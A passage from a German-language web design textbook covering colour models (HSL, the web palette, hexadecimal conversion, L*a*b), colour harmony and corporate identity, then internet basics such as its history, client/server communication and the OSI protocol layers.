                Im Rahmen von CSS hat sich die HSL-Variante als Modell durchgesetzt, wobei bei dieser von einem Doppelkegel (oder einem Doppelzylinder, siehe Abbildung 2.21) ausgegangen wird, bei dem sich an der oberen Spitze Weiß und an der unteren Spitze Schwarz befindet. Demnach befindet sich in der Mitte des Doppelkegels ein 50%-iges Grau. Würde man nun im Rahmen von CSS mithilfe von HSL ein Gelb definieren wollen, so wäre dies hsl(60,100%,50%): 60° für den Farbton, 100 % für die Sättigung und 50 % für die Helligkeit.

                
                    [image: Das HSL-Farbmodell als Doppelkegel.(Quelle: SharkD, CC BY-SA 3.0 https://creativecommons.org/licenses/by-sa/3.0, via Wikimedia Commons)]

                    Abbildung 2.21    
            Das HSL-Farbmodell als Doppelkegel.
(Quelle: SharkD, CC BY-SA 3.0 https://creativecommons.org/licenses/by-sa/3.0, via Wikimedia Commons)

                
            
            
                Die Webpalette – veraltet oder doch nicht?

                Die Webpalette besteht aus 216 Farben, die gleichmäßig auf die Farben Rot, Grün und Blau aufgeteilt sind und somit Abstufungen von 0, 20, 40, 60, 80 und 100 % der jeweiligen Farbe aufweisen. Diese Farben sind sogenannte »sichere Farben«. Das heißt, sie können auf allen Ausgabegeräten korrekt dargestellt werden (sie sind also die »Mindestanforderung« an ein Ausgabegerät).

                Die Farben der Webpalette werden gern für einerseits Schriften und andererseits Hintergründe eingesetzt. Der Grund hierfür ist, dass man im Webbereich zwar grundsätzlich davon ausgeht, dass die Darstellungsmedien (Monitore von Smartphones, Notebooks oder Desktopgeräten) in der Lage sind, mindestens 16,8 Millionen Farben darzustellen, diese Annahme jedoch nicht überall Gültigkeit besitzt: Denken Sie beispielsweise an Monitore in Form von Autoradios (Mediacenter o. Ä.), an Monitore im Passagierraum von Flugzeugen oder auch an Monitore, die in Terminals auf Bahnstationen untergebracht sind. Sie alle werden nicht selten dafür herangezogen, Websites darzustellen, haben aber einen sehr eingeschränkten Farbumfang (in der Regel geht man von 16 Bit Farbtiefe aus, was einem Farbumfang von 216 = 65.536 Farben entspricht). Würde man demnach eine Farbe wählen, die in diesen 65.536 Farben nicht enthalten ist, so würde die Farbe – im besten Fall – abgeändert dargestellt werden, und im schlimmsten Fall wird sie gedithert.

                
                    [Info]  Dithern

                    Unter Dithering versteht man eine Technik in der Bilddarstellung, um in einem Bild fehlende Farben zu ersetzen. Durch Vermischen vorhandener Farben versucht man, den Eindruck zu erwecken, als wären die Farben tatsächlich vorhanden.

                    
                        [image: Links sehen Sie das Bild mit 24 Bit Farbtiefe (ca. 16,8 Millionen Farben); rechts sehen Sie dasselbe Bild mit 2 Bit Farbtiefe (4 Farben): Die fehlenden Farben werden durch punktiertes Vermischen der bestehenden Farben erzeugt.]

                        Abbildung 2.22    
            Links sehen Sie das Bild mit 24 Bit Farbtiefe (ca. 16,8 Millionen Farben); rechts sehen Sie dasselbe Bild mit 2 Bit Farbtiefe (4 Farben): Die fehlenden Farben werden durch punktiertes Vermischen der bestehenden Farben erzeugt.

                    
                

                Die Webpalette wird gern in hexadezimaler Schreibweise angegeben (siehe unten), wobei die Prozentwerte so den HEX-Werten entsprechen wie in Tabelle 2.7 gezeigt.

                
                    
                        
                            	
                                Prozentwert

                            
                            	
                                Hexadezimalwert

                            
                            	
                                Dezimalwert

                            
                        

                    
                    
                        
                            	
                                0

                            
                            	
                                00

                            
                            	
                                0

                            
                        

                        
                            	
                                20

                            
                            	
                                33

                            
                            	
                                51

                            
                        

                        
                            	
                                40

                            
                            	
                                66

                            
                            	
                                102

                            
                        

                        
                            	
                                60

                            
                            	
                                99

                            
                            	
                                153

                            
                        

                        
                            	
                                80

                            
                            	
                                cc

                            
                            	
                                204

                            
                        

                        
                            	
                                100

                            
                            	
                                ff

                            
                            	
                                255

                            
                        

                    
                

                Tabelle 2.7    
            Der Zusammenhang zwischen den Werten bei Farbangaben

                Möchten Sie einen hexadezimalen in einen dezimalen Wert (oder umgekehrt) umwandeln, so müssen Sie sich ein wenig mit der Mathematik auseinandersetzen. Betrachten wir hierzu beispielsweise den dezimalen Wert 237: Würden wir diesen in ein paar unterschiedlichen Variationen aufschreiben, so kämen wir etwa zu Folgendem:

                
                    [image: formula]

                
                Diese Darstellung der Zahl 237 begründet im Übrigen auch, warum wir vom »dezimalen Zahlensystem« sprechen: Die »Basis« unserer Zahlendarstellung ist die Zahl 10. Hierbei sei auch erwähnt, dass jede Zahl »hoch Null« (also etwa 100) den Wert 1 ergibt; und jede Zahl »hoch Eins« (z. B. 101) ergibt die Zahl selbst (101=10).

                Das hexadezimale System (Basis 16) besitzt gegenüber dem dezimalen System pro Stelle nicht zehn unterschiedliche Ziffern, sondern 16. Weil wir jedoch keine 16 unterschiedlichen Ziffern kennen, verwendet man neben den zehn bekannten Ziffern (0 bis 9) noch die sechs Buchstaben (A bis F), wodurch man folgende Werte erhält:

                
                    
                        
                            	
                                0=0

                            
                            	
                                2=2

                            
                            	
                                4=4

                            
                            	
                                6=6

                            
                            	
                                8=8

                            
                            	
                                A=10

                            
                            	
                                C=12

                            
                            	
                                E=14

                            
                        

                        
                            	
                                1=1

                            
                            	
                                3=3

                            
                            	
                                5=5

                            
                            	
                                7=7

                            
                            	
                                9=9

                            
                            	
                                B=11

                            
                            	
                                D=13

                            
                            	
                                F=15

                            
                        

                    
                

                
                    [Info]  Die Zahlenbasis

                    Unter der Basis verstehen wir hier diejenige Zahl, die die Stellen einer Zahl trennt: die Einerstelle, die Zehnerstelle, die Hunderterstelle etc. – alles Vielfache der Zahl 10. Für jede Stelle sind zehn verschiedene Werte möglich – die Ziffern, die im Fall des dezimalen Systems von 0 bis 9 gehen.

                

                Wie rechnen Sie nun etwa einen dezimalen Wert in einen hexadezimalen Wert um (und wieder zurück)? Die Schritte sind wie folgt:

                
                    	
                        Nehmen Sie die Zahl und dividieren Sie sie durch 16.

                    

                    	
                        Notieren Sie sich den Rest der Division.

                    

                    	
                        Falls das Ergebnis nicht 0 ist, wiederholen Sie die Schritte 1 und 2.

                    

                    	
                        Alle Rest-Zahlen, die größer 9 sind, werden durch die entsprechenden hexadezimalen Zahlen (A bis F) ersetzt.

                    

                

                Beispiel: Stellen Sie 2381 als hexadezimale Zahl dar.

                
                    
                        
                            	
                                Zahl

                            
                            	
                                Quotient

                            
                            	
                                Rest dezimal

                            
                            	
                                Rest hexadezimal

                            
                        

                    
                    
                        
                            	
                                2381 : 16

                            
                            	
                                148

                            
                            	
                                13

                            
                            	
                                d

                            
                        

                        
                            	
                                148 : 16

                            
                            	
                                9

                            
                            	
                                4

                            
                            	
                                4

                            
                        

                        
                            	
                                9 : 16

                            
                            	
                                0

                            
                            	
                                9

                            
                            	
                                9

                            
                        

                    
                

                Somit ergibt sich: 238110 = 94d16 oder ausgesprochen: »2381 im Dezimalsystem entspricht 94d im Hexadezimalsystem« (man kann der Vollständigkeit halber die verwendete Zahlenbasis tiefergestellt nach der Zahl selbst angeben). Versuchen Sie, das Ergebnis zu prüfen, ergibt sich folgende Berechnung:

                
                    [image: formula]

                
                Vielleicht fragen Sie sich, warum das hexadezimale System überhaupt zum Einsatz kommt, wenn es im »täglichen Leben« doch eher selten vorkommt. Der Grund ist, dass das hexadezimale System sehr gut mit dem binären System (in dem die Basis 2 ist) harmoniert, ist 16 doch eine Hochzahl von 2, nämlich 24. Dies bedingt auch, dass die (maximal dreistelligen) dezimalen Werte von 0 bis 255 durch die (maximal zweistelligen) hexadezimalen Werte von 00 bis FF dargestellt werden können.

                Gerade im Webbereich erfreut sich die hexadezimale Schreibweise nach wie vor einer großen Beliebtheit, wenngleich uns eigentlich die Farbangabe in HSL-Notation wesentlich lieber wäre, wie Sie auch im folgenden Abschnitt erneut feststellen werden.

            
        
        
            2.9.5    Farbmodell versus menschliches Auge – das L*a*b-Modell

            Eine Problematik an den genannten Farbmodellen möchte ich Ihnen nicht verschweigen: Keines dieser Farbmodelle berücksichtigt, dass das menschliche Auge die einzelnen Farbbereiche aufgrund seiner Rezeptoren unterschiedlich intensiv wahrnimmt. Sie haben bereits gelernt, dass wir die meisten Rezeptoren für das langwellige Licht (L-Zäpfchen) und die wenigsten Rezeptoren für das kurzwellige Licht (S-Zäpfchen) besitzen. Mit anderen Worten, wir können den Rot-Bereich des Lichts am besten und den Blau-Bereich am schlechtesten wahrnehmen.

            Betrachten wir jedoch beispielsweise das RGB-Modell, so werden die drei Farbbereiche als gleichwertig angesehen. Auch beim HSL-Modell wird nicht berücksichtigt, dass gewisse Farbtöne besser und andere schlechter wahrgenommen werden können. Erst mit der Einführung eines »normierten Farbmodells« wie dem L*a*b-Farbmodell (korrekt wäre »der L*a*b-Farbraum«) wird dieser Nachteil behoben. Aus diesem Grund wird grundsätzlich auf dieses Modell zurückgegriffen, wenn man auf die Möglichkeiten des menschlichen Auges Rücksicht nehmen will.

            Ein Beispiel: wenn Sie Abbildung 2.23 betrachten, so stellen Sie Folgendes fest:

            
                	
                    Die Farbe Gelb entsteht im RGB-Modell aus der Summe der Reize von Rot und Grün – ein Blau ist hierbei nicht vertreten.

                

                	
                    Im HSL-Modell ist der Farbton Gelb bei einer Helligkeit von 50 % definiert.

                

            

            
                [image: Die Farbhelligkeit von Gelb liegt bei 97 %.]

                Abbildung 2.23    
            Die Farbhelligkeit von Gelb liegt bei 97 %.

            
            Wirft man jedoch einen Blick auf die angegebene Farbhelligkeit, so kann man sich im ersten Moment nicht erklären, warum es zu einem Wert von 97 % kommt. Aus Sicht des RGB-Modells sollte da maximal ein Wert von 66,67 % (Rot und Grün sind voll vertreten, Blau nicht) erscheinen; im Rahmen von HSL steht sogar eine Helligkeit von 50 %. Also haben all diese Werte wohl irgendwie nichts mit der Helligkeit zu tun, die der User wahrnimmt.

            Berücksichtigen wir jedoch, was wir gerade zuvor gesagt haben (»Der Mensch hat nur ganz wenige S-Zäpfchen und kann Blau nicht gut wahrnehmen«), lässt sich diese hohe Farbhelligkeit gut erklären: Gelb entsteht im Auge durch Reizung der L‐ und M‐Zäpfchen, von denen wir mit Abstand die meisten haben. Die »fehlenden Prozent« auf die 100 % (von weißem Licht) sind die S-Zäpfchen, die nicht gereizt werden.

            Wollen wir auf die Fähigkeiten des Auges Rücksicht nehmen, führt also kein Weg an diesem Modell vorbei. Bedenken Sie beispielsweise folgende Tatsache:

            
                	
                    Etwa 6 % der Männer und 0,3 % der Frauen haben einen Defekt in der Farbwahrnehmung.

                

                	
                    Hauptsächlich davon betroffen sind das rote Spektrum (L-Zäpfchen) und das grüne Spektrum (M-Zäpfchen).

                

            

            Stellen Sie sich nun vor, Sie bauen auf Ihrer Website zwei Farbfelder ein – eines grün, eines rot. Wie der Zufall es will, ist die Farbhelligkeit der beiden gewählten Farben jedoch identisch. Was sehen Farbenblinde? Korrekt: eine einzige graue Fläche. Es ist also nicht uninteressant zu wissen, welche Farbhelligkeiten ein Design aufweist. Wenn nämlich der Prozentsatz der Menschen mit Farbenblindheit ca. 3 bis 4 % beträgt, dann ist das eine nicht zu ignorierende Menge Personen. Gut, nicht alle von ihnen weisen eine völlige Farbenblindheit auf, aber trotzdem sollten wir auf sie Rücksicht nehmen. Im Abschnitt 10.3 über Barrierefreiheit werden wir das Thema noch einmal ansprechen.

            
                [Info]  L*a*b als Umrechnungsformat

                Das L*a*b-Modell ist kein Farbmodell für den direkten Einsatz im Web. Es dient vielmehr (Grafikern oder ähnlichen Berufssparten) als Umrechnungsformat von einem Farbraum in einen anderen.

            

        
        
            2.9.6    Farbzusammenstellung und Farbharmonie aus Liebe zum User

            Sie benötigen für (egal welche) Website ein gewisses Set an Farben, um eine harmonische Darstellung zu erreichen:

            
                	
                    Tragende Farbe
Das ist diejenige Farbe, die man mit der Website assoziiert. Sie muss nicht notwendigerweise eine flächige Farbe sein, sondern kann auch nur gewisse Bereiche einnehmen (z. B. einen Teil des Logos, Balken etc.), die beim Betrachten im Gedächtnis bleiben. Außerdem darf diese Farbe auch verlaufend oder Teil eines Bildes sein, wie Sie in Abbildung 2.24 sehen.

                

                	
                    Harmonische Farben

                    
                        	
                            Passende Farbtöne: Nehmen Sie den Farbton der tragenden Farbe und variieren Sie diesen um beispielsweise -30° bis +30°.

                        

                        	
                            Passende Sättigungen: Wie oben, nur variieren Sie diesmal die Sättigung der tragenden Farbe in 10%-Schritten.

                        

                        	
                            Passende Helligkeiten: Wie oben, nur variieren Sie nun die Helligkeit der tragenden Farbe in 10%-Schritten.

                        

                        	
                            Alle »unbunten« Farben: Das sind alle Grau-Abstufungen von Schwarz bis Weiß.

                        

                    

                

            

            
                [image: Ein Screenshot der Site www.lordz.ch zeigt die Farbwirkung von Gelb.]

                Abbildung 2.24    
            Ein Screenshot der Site www.lordz.ch zeigt die Farbwirkung von Gelb.

            
            In Abschnitt 2.9.3 haben wir uns angesehen, wie Farben auf den Menschen wirken. Blättern Sie doch noch einmal zurück und betrachten Sie beispielsweise die Farbe Violett: Um harmonische Farben zu finden, werden die Sättigung, die Helligkeit und der Farbton variiert. Außerdem sehen wir die Komplementärfarbe sowie den Farbdrei- und -vierklang dargestellt.

            
                	
                    Kontrastreiche Farben

                    Die kontrastreichste Farbe ist die Farbe gegenüber im Farbkreis. Typischerweise benötigt man jedoch mehrere kontrastreiche Farben, weshalb man den Farbkreis gleichmäßig aufteilt:

                    
                        	
                            Farbdreiklang: Man nimmt den Farbton der tragenden Farbe und erhöht diesen um 120° bzw. 240°.

                        

                        	
                            Farbvierklang: Wie oben, nur wird der Farbton um 90°, 180° und 270° erhöht.

                        

                    

                

            

            Ein recht gängiges Onlinetool zum Auswählen von (harmonischen und kontrastreichen) Farben ist das Farbrad von Adobe (https://color.adobe.com), dargestellt in Abbildung 2.25.

            
                [image: Das Farbrad von Adobe ist ein recht nützliches Hilfsmittel, um Farbsets zu definieren.]

                Abbildung 2.25    
            Das Farbrad von Adobe ist ein recht nützliches Hilfsmittel, um Farbsets zu definieren.

            
            
                	
                    Farben für Schriften

                    
                        	
                            Fließtext: Hier kommt typischerweise immer eine unbunte Farbe zum Einsatz. Es muss nicht notwendigerweise Schwarz oder Weiß sein, jedoch sollte sie sich gut vom Untergrund abheben.

                        

                        	
                            Farben für Verlinkungen auf Webseiten: Da Verlinkungen auf Webseiten für den User eine sehr wesentliche Funktionalität darstellen, muss sich die Linkfarbe in jedem Fall deutlich von der Schriftfarbe abheben. Eine Möglichkeit wäre, für Links dieselbe Farbe zu nehmen wie die tragende Farbe. Eine andere ist auch, einen farbigen Hintergrund einzusetzen (beispielsweise teiltransparent) – es muss nicht immer die Schriftfarbe variiert werden.

                        

                        	
                            Farben für Überschriften: Hier greift man zumeist zu der Farbe, die man auch für den Fließtext verwendet hat. Alternativ könnte man aus der Palette der »passenden Farben« oder auch die tragende Farbe wählen.

                        

                    

                

            

            
                [+]  Tipps zur Textfarbe

                Wählen Sie die Textfarbe immer so aus, dass sie einen möglichst starken Luminanzkontrast zur dahinterliegenden Farbe besitzt. Außerdem sollten Sie die Textfarbe aus den websicheren Farben auswählen und kein reines Schwarz (besser: dunkles Grau) oder reines Weiß (besser: helles Grau) verwenden, da beide genannten unbunten Farben zu »hart« sind.

            

            Schlussendlich gilt bei der Wahl von Schriftfarben jedoch auch eines: Ganz so frei in der Auswahl sind Sie nur dann, wenn es keine Vorgaben wie etwa ein Corporate Design (siehe den folgenden Anschnitt) gibt. Für unsere Branche ist ein gewisses Grundverständnis zur Farbgebung wichtig, aber in aller Regel erhalten wir das grafische Design ja von einem Grafikteam.

        
    


                    
                        
        2.10    Die Unternehmensphilosophie wird in der Corporate Identity ausgedrückt

        In vielen Projekten, die im weitesten Sinne mit einem grafischen Ergebnis aufwarten dürfen, fängt man nicht bei null an. Stellen Sie sich beispielsweise vor, Sie müssen eine Website für ein bereits bestehendes Unternehmen erstellen. In diesem Fall ist es sehr wahrscheinlich, dass die Wahl von Farben (und Schriften und vielen weiteren gestalterischen Elementen) bereits erfolgt ist. Je größer das Unternehmen ist, für das Sie tätig werden, umso eher existiert ein Corporate Design. Ein solches ist Teil eines sehr wichtigen Konstrukts eines Unternehmens: der Corporate Identity. Sie ist quasi das »Gesamterscheinungsbild eines Unternehmens« nach innen und nach außen.

        Eine Corporate Identity definiert üblicherweise drei Bereiche, wobei bei Bedarf noch etwas mehr in die Tiefe gegangen wird, wie etwa der vierte Punkt (Corporate Culture) zeigt:

        
            	
                Corporate Design: Das Corporate Design stellt die visuelle Identität des Unternehmens dar. Hierin befinden sich sämtliche Designrichtlinien wie die Farb- und Schriftdefinitionen, das Logo und dessen Verwendung, Abstandsdefinitionen für Gestaltungselemente sowie sämtliche weiteren Designelemente (Briefpapier, Visitenkarte, Shirts, Banner, Plakate etc.).

            

            	
                Corporate Behaviour: Unter Corporate Behaviour versteht man das Unternehmensverhalten gegenüber der Öffentlichkeit in Hinblick auf Punkte wie das Finanzgebahren, die Führung der Mitarbeiter sowie das Verhalten bei geäußerter Kritik dem Unternehmen gegenüber.

            

            	
                Corporate Communication: Die Corporate Communication umfasst das Gebiet der Unternehmenskommunikation sowohl innerhalb des Unternehmens als auch nach außen. Sie ist ein wesentlicher Faktor dafür, wie das Image des Unternehmens in der Öffentlichkeit ist.

            

        

        Zu diesen drei Bereichen können noch weitere hinzukommen. Ein Bereich, der gern mit aufgenommen wird, ist die Corporate Culture:

        
            	
                Corporate Culture: Im Rahmen der Corporate Culture werden die Werte des Unternehmens beschrieben. Sie intensiviert den ursprünglichen Gedanken der Unternehmensphilosophie und definiert das Leitbild des Unternehmens.

            

        

        
            [image: Das Herzstück eines jeden Unternehmens: die Corporate Identity]

            Abbildung 2.26    
            Das Herzstück eines jeden Unternehmens: die Corporate Identity

        
        Wie es in einer Unternehmensentwicklung üblich ist, können und dürfen sich Dinge ändern. Woran man im Allgemeinen jedoch nicht oder nur in Extremsituationen (wie bei einer völligen Umstrukturierung) schraubt, ist die Unternehmensphilosophie. Das Corporate Design hingegen ändert sich im Laufe des Lebens eines Unternehmens durchaus, jedoch immer mit Bedacht und nicht zu häufig. Ein Logo zu ändern, kann schnell in ein Disaster führen, da das Unternehmen dann vielleicht nicht mehr erkannt und wahrgenommen wird.

        
            [Info]  Beispiel gefällig?

            Würden Sie das Apple-Logo in seiner ursprünglichen Form sehen, so sähen Sie keinen Apfel, sondern ein Abbild von Isaak Newton, der unter einem Apfelbaum sitzt. Erst im Jahr 1997 wurde der angebissene Apfel von Rob Janoff entworfen. (Quelle: https://blog.leoprinting.de/blog/die-geschichte-vom-apple-logo, abgerufen am 02.01.2024)

        

        Für uns in der Webentwicklung ist eine Corporate Identity (und insbesondere das Corporate Design) ein recht wesentliches Instrument, wenn es darum geht, eine Website für ein Unternehmen zu entwickeln und dabei das Unternehmen verstehen zu müssen. Sie gibt uns in grafischer Hinsicht (über Farb- und Schriftdefinitionen, Platzierungsregeln usw.), in textueller Hinsicht (durch ihre Art der Kommunikation nach außen) und auch aus Sicht des Interaktionsdesigns Regeln vor, die wir bei unserem Webdesign befolgen müssen.

    


                    
                        3    Das liebe Internet – ein wenig Basiswissen
Was genau ist das Internet aus technischer Sicht? Wie viel technisches Verständnis brauche ich für meine Arbeit? Was ist eine Client-Server-Umgebung, und warum ist das für uns als Webdesigner wichtig?
Unser Ziel ist es, Websites zu erstellen. Für diese ist das Internet selbstverständlich die Grundlage. Was das Internet aus technischer Sicht genau ist, fragen wir uns eher selten. Für unsere Zunft ist es aber hilfreich, auch über Domains, Provider und Protokolle Bescheid zu wissen.
Beginnen wir ganz von vorne, sozusagen bei einer großen Menge Kabel, die quer über den Globus gezogen wurden. Sie bilden die Grundlage dessen, was wir als das Internet bezeichnen. Etwas technischer gesprochen, meint man einen »großen Verbund an Rechnernetzen, die autonom fungieren«. Gerade der Begriff der Automie ist sehr entscheidend für das Verständnis des Internets, denn die Idee für das eigentliche Verlegen dieser Kabel entstand der Legende nach zunächst einmal durch das Militär (konkret: das amerikanische Verteidigungsministerium), was in Wahrheit nicht ganz korrekt ist: Obwohl die Finanzierung des damaligen »ARPA-Net« von der DARPA (»Defense Advance Research Projects Agency«) übernommen wurde, wurden dennoch hauptsächlich zivile Projekte (und zwar insbesondere Projekte mit Forschungscharakter) finanziert. Dieses ARPA-Net setzte sich zum Ziel, Großrechner von Universitäten und anderen Forschungszentren miteinander zu verbinden, um einerseits die Verteilung von Forschungsergebnissen zu erleichtern und andererseits die Kommunikation zu verbessern.

        [Info]  Die Legende rund um das Internet

        Die weitverbreitete Legende besagt, dass das US-amerikanische Verteidigungsministerium in Zeiten des Kalten Kriegs gegenüber einem atomaren Anschlag gerüstet sein wollte und deshalb ein Kommunikationsnetz aufbauen ließ.

    
Die Kommerzialisierung des Internets (im Rahmen des WWW, so wie wir es heute kennen) begann erst im Jahre 1990, als die National Science Foundation der USA beschloss, das Internet über die Nutzung durch Universitäten und Forschungszentren hinaus der (damals noch nicht so) breiten Öffentlichkeit zur Verfügung zu stellen. Bereits im Jahr zuvor entwickelte ein Physiker namens Tim Berners-Lee am Kernforschungszentrum CERN (nahe Genf in der Schweiz) eine Auszeichnungssprache namens HTML, die er im Jahr 1991 veröffentlichte.
Wie wir heute wissen, wurde damals der Grundstein für das heutige Internet gelegt – wohlweislich, dass der damalige Gedanke weniger auf der Erstellung unserer heute bekannten Websites, sondern vielmehr auf der Präsentation (und Verknüpfung) wissenschaftlicher Daten lag. Zu diesem Zeitpunkt gab es jedoch noch keinen Browser für die Darstellung von Hypertex. Eine solche Software (namens Mosaik) kam erst einige Jahre später (1993) auf den Markt, verdrängte aber alles Dagewesene mit einem Schlag.

        3.1    Dienste im Internet, Server und Client

        Da jedoch ein jedes Netzwerk – wie wir heute wissen – nur so gut sein kann wie seine Nutzung, war eine der ersten wesentlichen Aufgaben die Definition dessen, was man eigentlich mit diesem neu geschaffenen Netzwerk anstellen wollte. Unter einem »Dienst« versteht man – einfach gesprochen – die Nutzung eines Netzwerkes zu einem bestimmten Zweck. So wurden in den Jahren mehr und mehr Dienste erdacht, die über das Internet nutzbar sein sollten und sollen:

        
            	
                Steuerung von Geräten in einem Netzwerk: Telnet (ab dem Jahr 1969)

            

            	
                Versand von Nachrichten: Mail-Dienst (1971)

            

            	
                Übertragen von Daten: File Transfer (1971)

            

            	
                Diskussionsforen: Usenet (1979)

            

            	
                Chat/Messenging: IRC (Internet Relay Chat; 1988)

            

            	
                Darstellung von Informationen: WWW – World Wide Web (1989)

            

        

        Ein sehr wesentliches Prinzip von Diensten im Internet ist die Art und Weise, wie eine Kommunikation zwischen zwei beteiligten Stellen zustande kommt. Die Stelle, die etwas benötigt, nennen wir den Client, und die Stelle, die diesen Dienst oder diese Information bereitstellen kann, ist der Server:

        
            	
                Client: Er initiiert eine Anfrage (Request) an einen Server.

            

            	
                Server: Er antwortet auf die Anfrage mit einer Antwort (Response) an den Client.

            

        

        An dieser Stelle ist es sehr wichtig zu erkennen, dass die Kommunikation zunächst immer vom Client ausgeht – der Server wird (bis auf wenige Ausnahmen) von sich aus nicht tätig. Wie die Kommunikation dann tatsächlich abläuft, müssen wir in den folgenden Abschnitten erst klären.

        Ein jeder Dienst im Internet benötigt in der Regel einen auf ihn zugeschnittenen Client und ebenso einen auf ihn zugeschnittenen Server. Deutlich wird das, wenn wir beispielsweise an die Dienste WWW und E-Mail denken:

        
            	
                Um den WWW-Dienst zu benutzen, verwendet ein User einen Browser (Google Chrome, Mozilla Firefox, Apple Safari oder Microsoft Edge), der auf dem lokalen Gerät des Users installiert wird. Demnach ist ein Browser ein Client für den WWW-Dienst. Um dann in weiterer Folge tatsächlich eine Website in diesem Client betrachten zu können, muss ein zugehöriger Server existieren, der dem User die Daten bereitstellt, die zu der Website gehören. Einen solchen Server nennen wir einen Webserver, und somit kann man sagen, dass der WWW-Dienst einen Browser als Client und einen Webserver benötigt.

            

            	
                Um den E-Mail-Dienst zu benutzen, benötigt ein User ein Mail-Programm (MS Outlook, Thunderbird etc.), mit dessen Hilfe er E-Mails senden und empfangen kann – mit anderen Worten einen Mailclient. Klarerweise werden die zu sendenden Mails von einem Server versendet und zu empfangene Mails auf einem Server (zwischen-) gespeichert. Demnach hat man es mit einem Mailserver zu tun.

            

        

        Diese Darstellung kann man auf sämtliche Dienste ausweiten.

    


                    
                        
        3.2    Protokolle und Ports – eine Frage der Kommunikation

        Um die oben angesprochenen Dienste (oder mit anderen Worten: Anwendung, Verwendung, Nutzung) zu ermöglichen, ist eine Technik erforderlich, mit deren Hilfe die jeweiligen Daten über ein Netzwerk übertragen werden können. An dieser Stelle ist es wichtig zu wissen, dass die Daten in Form sogenannter Pakete übertragen werden, was bedeutet, dass ein »Block an Daten« in kleine, handhabbare Stücke, eben die Pakete, zerteilt wird. Wie Sie im Folgenden sehen werden, ist das Internet-Protokoll für diese Filetierung der Daten zuständig – aber hierzu gleich mehr.

        Man unterscheidet – ohne dass wir ganz ins Technische abdriften wollen – vier Nutzungsebenen bzw. (OSI-)Schichten:

        
            	
                Netzzugangsschicht (OSI-Schichten 1 und 2): Die unterste Ebene stellt den (physischen) Netzzugang dar. Zu dieser Schicht gehören keine Software-Lösungen, sondern sogenannte Netzwerk-Topologien, also Arten und Weisen, wie Geräte in einem Netzwerk miteinander verbunden werden können.

            

            	
                Netzwerk- oder Internetschicht (OSI-Schicht 3): Diese Ebene ist für die (Weiter-) Vermittlung von Datenpaketen und für die Wahl der am besten geeigneten Route (Routing) zuständig. Man spricht an dieser Stelle von einer Punkt-zu-Punkt-Verbindung, da ein Paket immer von einer Stelle zu einer anderen Stelle weitergeleitet wird. Der Kern dieser Schicht ist das Internet Protocol (IP). Dieses Protokoll ist an sich unzuverlässig, da es sich nicht darum kümmert, dass ein Datenpaket auch tatsächlich ankommt. Jedes (physische) Gerät erhält zudem eine IP-Adresse, um mit anderen Geräten kommunizieren zu können.

            

            	
                Transportschicht (OSI-Schicht 4): Anders als die Netzwerkschicht stellt die Transportschicht keine Punkt-zu-Punkt-, sondern eine Ende-zu-Ende-Verbindung her. Das bedeutet, dass eine Form der Übertragungskontrolle erfolgen kann, wenn Sender und Empfänger voneinander wissen. Der Kern dieser Schicht ist das Transmission Control Protocol (TCP), das eine Übertragungskontrolle ermöglicht. Man spricht auch von einem verbindungsorientierten und zuverlässigen Protokoll.

                Nicht in jedem Fall ist man jedoch an einer Übertragungskontrolle interessiert, da eine jede Form der Übertragungskontrolle ein gewisses Maß an Overhead in Form von Wartezeit bedeutet. Aus diesem Grund existiert in dieser Schicht ein zweites Protokoll namens User Datagram Protocol (UDP), das verbindungslos und demnach unzuverlässig arbeitet.

                
                    [Info]  Übertragungskontrolle ja oder nein?

                    Übertragungskontrolle bedeutet, dass überprüft werden kann, ob ein jedes Datenpaket, das von einem Sender versendet wurde, auch tatsächlich beim Empfänger ankommt. Hierzu muss der Sender dem Empfänger eine gewisse Zeit einräumen, bis dieser beim Sender meldet, dass das Paket angekommen ist. Geschieht dies nicht in der vorgegebenen Zeit, schickt der Sender das Paket erneut.

                    Im Falle von Live-Übertragungen oder auch der Videotelefonie verzichtet man zumeist auf eine Übertragungskontrolle: Sollte das eine oder andere Datenpaket nicht »ankommen«, so bedeutet dies lediglich eine kurze Störung und stellt somit kein gravierendes Problem dar. Würde hingegen bei einer E-Mail ein Teil fehlen, so wäre das eher schmerzhaft.

                

            

            	
                Anwendungsschicht (OSI-Schichten 5 bis 7): Die Anwendungsschicht stellt Protokolle bereit, die die jeweiligen Anwendungen (Dienste) für die Verarbeitung ihrer Daten benötigen. Aus diesem Grund sind die Protokolle in dieser Schicht auch sehr zahlreich (und es werden mit jedem neuen Dienst im Internet auch mehr). Hierzu zählen:

                
                    	
                        HTTP: Hypertext Transfer Protocol

                    

                    	
                        FTP: File Transfer Protocol

                    

                    	
                        SSH: Secure Shell

                    

                    	
                        SMTP: Simple Mail Transfer Protocol (Versand von E-Mails)

                    

                    	
                        POP3: Post Office Protocol (Version 3) (Abruf von E-Mails)

                    

                    	
                        Telnet: Login auf entfernten Rechnern (Remote Terminal)

                    

                    	
                        DNS: Domain Name System (Übersetzung eines Domainnamens in eine IP‐Adresse)

                    

                    	
                        SNMP: Simple Network Management Protocol (Verwalten von Geräten in einem Netzwerk)

                    

                

            

        

        
            [Info]  Das OSI-7-Schichten-Modell

            In Wahrheit besteht das OSI-Modell aus sieben Schichten. Mit jeder Schicht werden an die Daten weitere sogenannte Header gehängt (bzw. ihnen vorangestellt), um die einzelnen Schichten voneinander zu trennen und deren Steuerinformationen zu speichern.

        

        
            [image: Die sieben Schichten des OSI-Modells]

            Abbildung 3.1    
            Die sieben Schichten des OSI-Modells

        
        Sehr oft liest man im Zusammenhang mit der Datenübertragung im Internet vom TCP/IP-Protokollstack. Die obigen Ausführungen zeigen, dass die beiden Protokolle IP und TCP sehr eng miteinander verwoben sind, wenn es um eine ausfallsichere Übertragung von Daten geht. Unter einem »Stack« versteht man jedoch nicht mehr, als dass die einzelnen Protokolle übereinandergestapelt werden: Ein Protokoll baut auf dem anderen Protokoll auf.

        Sie erkennen ebenso, dass einem jeden Dienst im Internet (mindestens) ein Protokoll zugewiesen ist. Dieses ist speziell auf die Anforderungen des Dienstes zugeschnitten. Protokolle sind im Wesentlichen nichts anderes als Vereinbarungen über die Form der Kommunikation, also über die Art und Weise, wie die Datenübertragung zwischen einem Sender und einem Empfänger vonstatten gehen soll.

        Die Begriffe »Sender« und »Empfänger« können allerdings nicht in die Begriffe »Client« und »Server« umgemünzt werden:

        
            	
                Im Falle eines Requests ist der Client der Sender und der Server der Empfänger.

            

            	
                Im Falle des (folgenden) Responses ist der Server der Sender und der Client der Empfänger.

            

        

        
            3.2.1    HTTP/1.1, HTTP/2 oder HTTP/3 und die Statuscodes

